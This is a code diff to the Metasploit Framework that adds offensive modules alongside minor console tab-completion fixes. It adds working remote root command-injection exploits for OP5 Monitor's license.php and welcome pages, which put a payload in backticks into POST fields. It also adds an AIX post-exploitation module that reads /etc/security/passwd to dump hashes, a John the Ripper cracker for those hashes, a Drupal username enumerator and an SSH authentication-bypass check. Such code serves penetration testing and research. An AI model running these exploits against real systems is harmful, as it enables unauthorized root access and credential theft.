diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 247d4429a4..ee14be9edc 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -190,7 +190,7 @@ class Core cmd_resource_help return false end - + args.each do |res| good_res = nil if (File.file? res and File.readable? res) @@ -201,7 +201,7 @@ class Core ::Msf::Config.script_directory + File::SEPARATOR + "resource", ::Msf::Config.user_script_directory + File::SEPARATOR + "resource" ].each do |dir| - res_path = dir + File::SEPARATOR + res + res_path = dir + File::SEPARATOR + res if (File.file?(res_path) and File.readable?(res_path)) good_res = res_path break @@ -216,7 +216,7 @@ class Core end end end - + # # Tab completion for the resource command # @@ -227,7 +227,7 @@ class Core # then you are probably specifying a full path so let's just use normal file completion return tab_complete_filenames(str,words) elsif (not words[1] or not words[1].match(/^\//)) - # then let's start tab completion in the scripts/resource directories + # then let's start tab completion in the scripts/resource directories begin [ ::Msf::Config.script_directory + File::SEPARATOR + "resource", @@ -2179,7 +2179,7 @@ class Core print_line "Set the previously loaded module as the current module" print_line end - + # # Command to enqueque a module on the module stack # @@ -2190,7 +2190,7 @@ class Core @module_name_stack.push(arg) # Note new modules are appended to the array and are only module (full)names end - else #then just push the active module + else #then just push the active module if active_module #print_status "Pushing the active module" @module_name_stack.push(active_module.fullname) @@ -2200,7 +2200,11 @@ class Core end end end - + + def cmd_pushm_tabs(str, words) + tab_complete_module(str, words) + end + # # Help for the 'pushm' command # @@ -2210,7 +2214,7 @@ class Core print_line "push current active module or specified modules onto the module stack" print_line end - + # # Command to dequeque a module from the module stack # @@ -2251,17 +2255,9 @@ class Core # Tab completion for the use command # def cmd_use_tabs(str, words) - res = [] - return res if words.length > 1 + return [] if words.length > 1 - framework.modules.module_types.each do |mtyp| - mset = framework.modules.module_names(mtyp) - mset.each do |mref| - res << mtyp + '/' + mref - end - end - - return res.sort + tab_complete_module(str, words) end # @@ -2276,6 +2272,22 @@ class Core return true end + # + # Tab complete module names + # + def tab_complete_module(str, words) + res = [] + framework.modules.module_types.each do |mtyp| + mset = framework.modules.module_names(mtyp) + mset.each do |mref| + res << mtyp + '/' + mref + end + end + + return res.sort + end + + # # Provide tab completion for option values # diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index 13befa061a..d5a8391c25 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -99,16 +99,22 @@ class Client # def set_config(opts = {}) opts.each_pair do |var,val| + # Default type is string typ = self.config_types[var] || 'string' + # These are enum types if(typ.class.to_s == 'Array') if not typ.include?(val) raise RuntimeError, "The specified value for #{var} is not one of the valid choices" end end + # The caller should have converted these to proper ruby types, but + # take care of the case where they didn't before setting the + # config. + if(typ == 'bool') - val = (val =~ /^(t|y|1)$/i ? true : false) + val = (val =~ /^(t|y|1)$/i ? true : false || val === true) end if(typ == 'integer') diff --git a/modules/auxiliary/analyze/jtr_aix.rb b/modules/auxiliary/analyze/jtr_aix.rb new file mode 100644 index 0000000000..8b8ad8a239 --- /dev/null +++ b/modules/auxiliary/analyze/jtr_aix.rb @@ -0,0 +1,142 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +# +## + + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::JohnTheRipper + + def initialize + super( + 'Name' => 'John the Ripper Linux Password Cracker', + 'Version' => '$Revision$', + 'Description' => %Q{ + This module uses John the Ripper to identify weak passwords that have been + acquired from passwd files on AIX systems. + }, + 'Author' => + [ + 'TheLightCosine ', + 'hdm' + ] , + 'License' => MSF_LICENSE # JtR itself is GPLv2, but this wrapper is MSF (BSD) + ) + + end + + def run + wordlist = Rex::Quickfile.new("jtrtmp") + + wordlist.write( build_seed().join("\n") + "\n" ) + wordlist.close + + hashlist = Rex::Quickfile.new("jtrtmp") + + myloots = myworkspace.loots.find(:all, :conditions => ['ltype=?', 'aix.hashes']) + unless myloots.nil? or myloots.empty? + myloots.each do |myloot| + begin + usf = File.open(myloot.path, "rb") + rescue Exception => e + print_error("Unable to read #{myloot.path} \n #{e}") + next + end + usf.each_line do |row| + row.gsub!(/\n/, ":#{myloot.host.address}\n") + hashlist.write(row) + end + end + hashlist.close + + print_status("HashList: #{hashlist.path}") + + print_status("Trying Format:des Wordlist: #{wordlist.path}") + john_crack(hashlist.path, :wordlist => wordlist.path, :rules => 'single', :format => 'des') + print_status("Trying Format:des Rule: All4...") + john_crack(hashlist.path, :incremental => "All4", :format => 'des') + print_status("Trying Format:des Rule: Digits5...") + john_crack(hashlist.path, :incremental => "Digits5", :format => 'des') + + cracked = john_show_passwords(hashlist.path) + + + print_status("#{cracked[:cracked]} hashes were cracked!") + + cracked[:users].each_pair do |k,v| + if v[0] == "NO PASSWORD" + passwd="" + else + passwd=v[0] + end + print_good("Host: #{v.last} User: #{k} Pass: #{passwd}") + report_auth_info( + :host => v.last, + :port => 22, + :sname => 'ssh', + :user => k, + :pass => passwd + ) + end + end + + end + + def build_seed + + seed = [] + #Seed the wordlist with Database , Table, and Instance Names + schemas = myworkspace.notes.find(:all, :conditions => ['ntype like ?', '%.schema%']) + unless schemas.nil? or schemas.empty? + schemas.each do |anote| + anote.data.each do |key,value| + seed << key + value.each{|a| seed << a} + end + end + end + + instances = myworkspace.notes.find(:all, :conditions => ['ntype=?', 'mssql.instancename']) + unless instances.nil? or instances.empty? + instances.each do |anote| + seed << anote.data['InstanceName'] + end + end + + # Seed the wordlist with usernames, passwords, and hostnames + + myworkspace.hosts.find(:all).each {|o| seed << john_expand_word( o.name ) if o.name } + myworkspace.creds.each do |o| + seed << john_expand_word( o.user ) if o.user + seed << john_expand_word( o.pass ) if (o.pass and o.ptype !~ /hash/) + end + + # Grab any known passwords out of the john.pot file + john_cracked_passwords.values {|v| seed << v } + + #Grab the default John Wordlist + john = File.open(john_wordlist_path, "rb") + john.each_line{|line| seed << line.chomp} + + unless seed.empty? + seed.flatten! + seed.uniq! + end + + print_status("Wordlist Seeded with #{seed.length} words") + + return seed + + end + +end diff --git a/modules/auxiliary/scanner/ftp/ftp_login.rb b/modules/auxiliary/scanner/ftp/ftp_login.rb index c851e7b90b..f517c05574 100644 --- a/modules/auxiliary/scanner/ftp/ftp_login.rb +++ b/modules/auxiliary/scanner/ftp/ftp_login.rb @@ -80,7 +80,11 @@ class Metasploit3 < Msf::Auxiliary if datastore['RECORD_GUEST'] report_ftp_creds(user,pass,@access) else - report_ftp_creds(user,pass,@access) unless @accepts_all_logins[@access].include?(ip) + if @accepts_all_logins[@access] + report_ftp_creds(user,pass,@access) unless @accepts_all_logins[@access].include?(ip) + else + report_ftp_creds(user,pass,@access) + end end end ret diff --git a/modules/auxiliary/scanner/http/drupal_views_user_enum.rb b/modules/auxiliary/scanner/http/drupal_views_user_enum.rb new file mode 100644 index 0000000000..f4b3c242bd --- /dev/null +++ b/modules/auxiliary/scanner/http/drupal_views_user_enum.rb @@ -0,0 +1,116 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Drupal Views Module Users Enumeration', + 'Description' => %q{ + This module exploits an information disclosure vulnerability in the 'Views' + module of Drupal, brute-forcing the first 10 usernames from 'a' to 'z' + }, + 'Author' => + [ + 'Justin Klein Keane', #Original Discovery + 'Robin François ' + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'http://www.madirish.net/node/465'], + ], + 'DisclosureDate' => 'Jul 2 2010' + )) + + register_options( + [ + OptString.new('URIPATH', [true, "Drupal Path", "/"]), + ], self.class) + end + + def check(base_uri) + res = send_request_cgi({ + 'uri' => base_uri, + 'method' => 'GET', + 'headers' => { 'Connection' => 'Close' } + }, 25) + + if not res + return false + elsif res.message != 'OK' or res.body != '[ ]' + return false + else + return true + end + end + + def run_host(ip) + # Make sure the URIPATH begins with '/' + if datastore['URIPATH'][0] != '/' + datastore['URIPATH'] = '/' + datastore['URIPATH'] + end + + # Make sure the URIPATH ends with / + if datastore['URIPATH'][-1] != '/' + datastore['URIPATH'] = datastore['URIPATH'] + '/' + end + + enum_uri = datastore['URIPATH'] + "?q=admin/views/ajax/autocomplete/user/" + + # Check if remote host is available or appears vulnerable + if not check(enum_uri) + print_error("#{ip} does not appear to be vulnerable, will not continue") + return + end + + print_status("Begin enumerating users at #{ip}") + + results = [] + ('a'..'z').each do |l| + vprint_status("Iterating on letter: #{l}") + + res = send_request_cgi({ + 'uri' => enum_uri+l, + 'method' => 'GET', + 'headers' => { 'Connection' => 'Close' } + }, 25) + + if (res and res.message == "OK") + user_list = res.body.scan(/\w+/) + if user_list.empty? + vprint_line("\tFound: Nothing") + else + vprint_line("\tFound: #{user_list.inspect}") + results << user_list + end + else + print_error("Unexpected results from server") + return + end + end + + final_results = results.flatten.uniq + + print_status("Done. " + final_results.length.to_s + " usernames found...") + + final_results.each do |user| + report_auth_info( + :host => Rex::Socket.getaddress(datastore['RHOST']), + :port => datastore['RPORT'], + :user => user, + :type => "drupal_user" + ) + end + end +end diff --git a/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb b/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb index acf2a387e1..b5ae77245a 100644 --- a/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb +++ b/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb @@ -55,6 +55,7 @@ class Metasploit3 < Msf::Auxiliary register_advanced_options( [ OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]), + OptBool.new('SSH_BYPASS', [ false, 'Verify that authentication was not bypassed when keys are found', false]), OptString.new('SSH_KEYFILE_B64', [false, 'Raw data of an unencrypted SSH public key. This should be used by programmatic interfaces to this module only.', '']), OptPath.new('KEY_DIR', [false, 'Directory of several keys. Filenames must not begin with a dot in order to be read.']) ] @@ -210,7 +211,21 @@ class Metasploit3 < Msf::Auxiliary begin ssh_socket = Net::SSH.start(ip, user, opt_hash) - ssh_socket.close rescue nil + + if datastore['SSH_BYPASS'] + data = nil + + print_status("#{ip}:#{rport} - SSH - User #{user} is being tested for authentication bypass...") + + begin + ::Timeout.timeout(5) { data = ssh_socket.exec!("help\nid\nuname -a").to_s } + rescue ::Exception + end + + print_good("#{ip}:#{rport} - SSH - User #{user} successfully bypassed authentication: #{data.inspect} ") if data + end + + ::Timeout.timeout(1) { ssh_socket.close } rescue nil rescue Rex::ConnectionError, Rex::AddressInUse return :connection_error diff --git a/modules/auxiliary/scanner/telnet/telnet_login.rb b/modules/auxiliary/scanner/telnet/telnet_login.rb index 1400ffa12a..90acbf691d 100644 --- a/modules/auxiliary/scanner/telnet/telnet_login.rb +++ b/modules/auxiliary/scanner/telnet/telnet_login.rb @@ -66,7 +66,8 @@ class Metasploit3 < Msf::Auxiliary begin each_user_pass do |user, pass| Timeout.timeout(overall_timeout) do - try_user_pass(user, pass) + res = try_user_pass(user, pass) + start_telnet_session(rhost,rport,user,pass) if res == :next_user end end rescue ::Rex::ConnectionError, ::EOFError, ::Timeout::Error @@ -112,11 +113,7 @@ class Metasploit3 < Msf::Auxiliary end end report_telnet(user,pass,@trace) - else - if login_succeeded? - start_telnet_session(rhost,rport,user,pass) - return :next_user - end + return :next_user end end @@ -237,6 +234,7 @@ class Metasploit3 < Msf::Auxiliary end def start_telnet_session(host, port, user, pass) + print_status "Attempting to start session #{host}:#{port} with #{user}:#{pass}" merge_me = { 'USERPASS_FILE' => nil, 'USER_FILE' => nil, diff --git a/modules/exploits/multi/http/op5_license.rb b/modules/exploits/multi/http/op5_license.rb new file mode 100644 index 0000000000..1aab222ff1 --- /dev/null +++ b/modules/exploits/multi/http/op5_license.rb @@ -0,0 +1,108 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'OP5 license.php Remote Command Execution', + 'Description' => %q{ + This module exploits an arbitrary root command execution vulnerability in the + OP5 Monitor license.php. Ekelöw has confirmed that OP5 Monitor versions 5.3.5, + 5.4.0, 5.4.2, 5.5.0, 5.5.1 are vulnerable. + }, + 'Author' => [ 'Peter Osterberg ' ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2012-0261'], + ['OSVDB', '78064'], + ['URL', 'http://www.ekelow.se/file_uploads/Advisories/ekelow-aid-2012-01.pdf'], + ['URL', 'http://www.op5.com/news/support-news/fixed-vulnerabilities-op5-monitor-op5-appliance/'], + ['URL', 'http://secunia.com/advisories/47417/'], + ], + 'Privileged' => true, + 'Payload' => + { + 'DisableNops' => true, + 'Space' => 1024, + 'BadChars' => '`\\|', + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'perl ruby', + } + }, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Targets' => [[ 'Automatic', { }]], + 'DisclosureDate' => 'Jan 05 2012', + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(443), + OptString.new('URI', [true, "The full URI path to license.php", "/license.php"]), + ], self.class) + end + + def check + print_status("Attempting to detect if the OP5 Monitor is vulnerable...") + print_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}") + + # Try running/timing 'ping localhost' to determine is system is vulnerable + start = Time.now + + data = 'timestamp=1317050333`ping -c 10 127.0.0.1`&action=install&install=Install'; + res = send_request_cgi({ + 'uri' => datastore['URI'], + 'method' => 'POST', + 'proto' => 'HTTPS', + 'data' => data, + 'headers' => + { + 'Connection' => 'close', + } + }, 25) + elapsed = Time.now - start + if elapsed >= 5 + return Exploit::CheckCode::Vulnerable + end + return Exploit::CheckCode::Safe + end + + def exploit + print_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}") + + data = 'timestamp=1317050333`' + payload.encoded + '`&action=install&install=Install'; + + res = send_request_cgi({ + 'uri' => datastore['URI'], + 'method' => 'POST', + 'proto' => 'HTTPS', + 'data' => data, + 'headers' => + { + 'Connection' => 'close', + } + }, 25) + + if(not res) + if session_created? + print_status("Session created, enjoy!") + else + print_error("No response from the server") + end + return + end + end +end \ No newline at end of file diff --git a/modules/exploits/multi/http/op5_welcome.rb b/modules/exploits/multi/http/op5_welcome.rb new file mode 100644 index 0000000000..f73102e014 --- /dev/null +++ b/modules/exploits/multi/http/op5_welcome.rb @@ -0,0 +1,108 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'OP5 welcome Remote Command Execution', + 'Description' => %q{ + This module exploits an arbitrary root command execution vulnerability in + OP5 Monitor welcome. Ekelöw has confirmed that OP5 Monitor versions 5.3.5, + 5.4.0, 5.4.2, 5.5.0, 5.5.1 are vulnerable. + }, + 'Author' => [ 'Peter Osterberg ' ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2012-0262'], + ['OSVDB', '78065'], + ['URL', 'http://www.ekelow.se/file_uploads/Advisories/ekelow-aid-2012-01.pdf'], + ['URL', 'http://www.op5.com/news/support-news/fixed-vulnerabilities-op5-monitor-op5-appliance/'], + ['URL', 'http://secunia.com/advisories/47417/'], + ], + 'Privileged' => true, + 'Payload' => + { + 'DisableNops' => true, + 'Space' => 1024, + 'BadChars' => '`\\|', + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'perl ruby', + } + }, + 'Platform' => [ 'unix', 'linux' ], + 'Arch' => ARCH_CMD, + 'Targets' => [[ 'Automatic', { }]], + 'DisclosureDate' => 'Jan 05 2012', + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(443), + OptString.new('URI', [true, "The full URI path to /op5config/welcome", "/op5config/welcome"]), + ], self.class) + end + + def check + print_status("Attempting to detect if the OP5 Monitor is vulnerable...") + print_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}") + + # Try running/timing 'ping localhost' to determine is system is vulnerable + start = Time.now + + data = 'do=do=Login&password=`ping -c 10 127.0.0.1`'; + res = send_request_cgi({ + 'uri' => datastore['URI'], + 'method' => 'POST', + 'proto' => 'HTTPS', + 'data' => data, + 'headers' => + { + 'Connection' => 'close', + } + }, 25) + elapsed = Time.now - start + if elapsed >= 5 + return Exploit::CheckCode::Vulnerable + end + return Exploit::CheckCode::Safe + end + + def exploit + print_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}") + + data = 'do=do=Login&password=`' + payload.encoded + '`'; + + res = send_request_cgi({ + 'uri' => datastore['URI'], + 'method' => 'POST', + 'proto' => 'HTTPS', + 'data' => data, + 'headers' => + { + 'Connection' => 'close', + } + }, 10) + + if(not res) + if session_created? + print_status("Session created, enjoy!") + else + print_error("No response from the server") + end + return + end + end +end diff --git a/modules/post/aix/hashdump.rb b/modules/post/aix/hashdump.rb new file mode 100644 index 0000000000..6f71f1f297 --- /dev/null +++ b/modules/post/aix/hashdump.rb @@ -0,0 +1,68 @@ +# $Id$ +## + +## +# ## This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' +require 'rex' +require 'msf/core/post/common' +require 'msf/core/post/file' +require 'msf/core/post/linux/priv' + + +class Metasploit3 < Msf::Post + + include Msf::Post::Common + include Msf::Post::File + include Msf::Post::Linux::Priv + + def initialize(info={}) + super( update_info( info, + 'Name' => 'AIX Gather Dump Password Hashes', + 'Description' => %q{ Post Module to dump the password hashes for all users on an AIX System}, + 'License' => MSF_LICENSE, + 'Author' => ['thelightcosine '$Revision$', + 'Platform' => [ 'aix' ], + 'SessionTypes' => [ 'shell' ] + )) + + end + + + def run + if is_root? + passwd_file = read_file("/etc/security/passwd") + jtr = parse_aix_passwd(passwd_file) + store_loot("aix.hashes", "text/plain", session, jtr, "aix_passwd.txt", "AIX Password File") + else + print_error("You must run this module as root!") + end + + end + + + def parse_aix_passwd(aix_file) + jtr_file = "" + tmp = "" + aix_file.each_line do |line| + username = line.match(/(\w+:)/) + if username + tmp = username[0] + end + hash = line.match(/password = (\w+)/) + if hash + tmp << hash[1] + jtr_file << "#{tmp}\n" + end + end + return jtr_file + end + + +end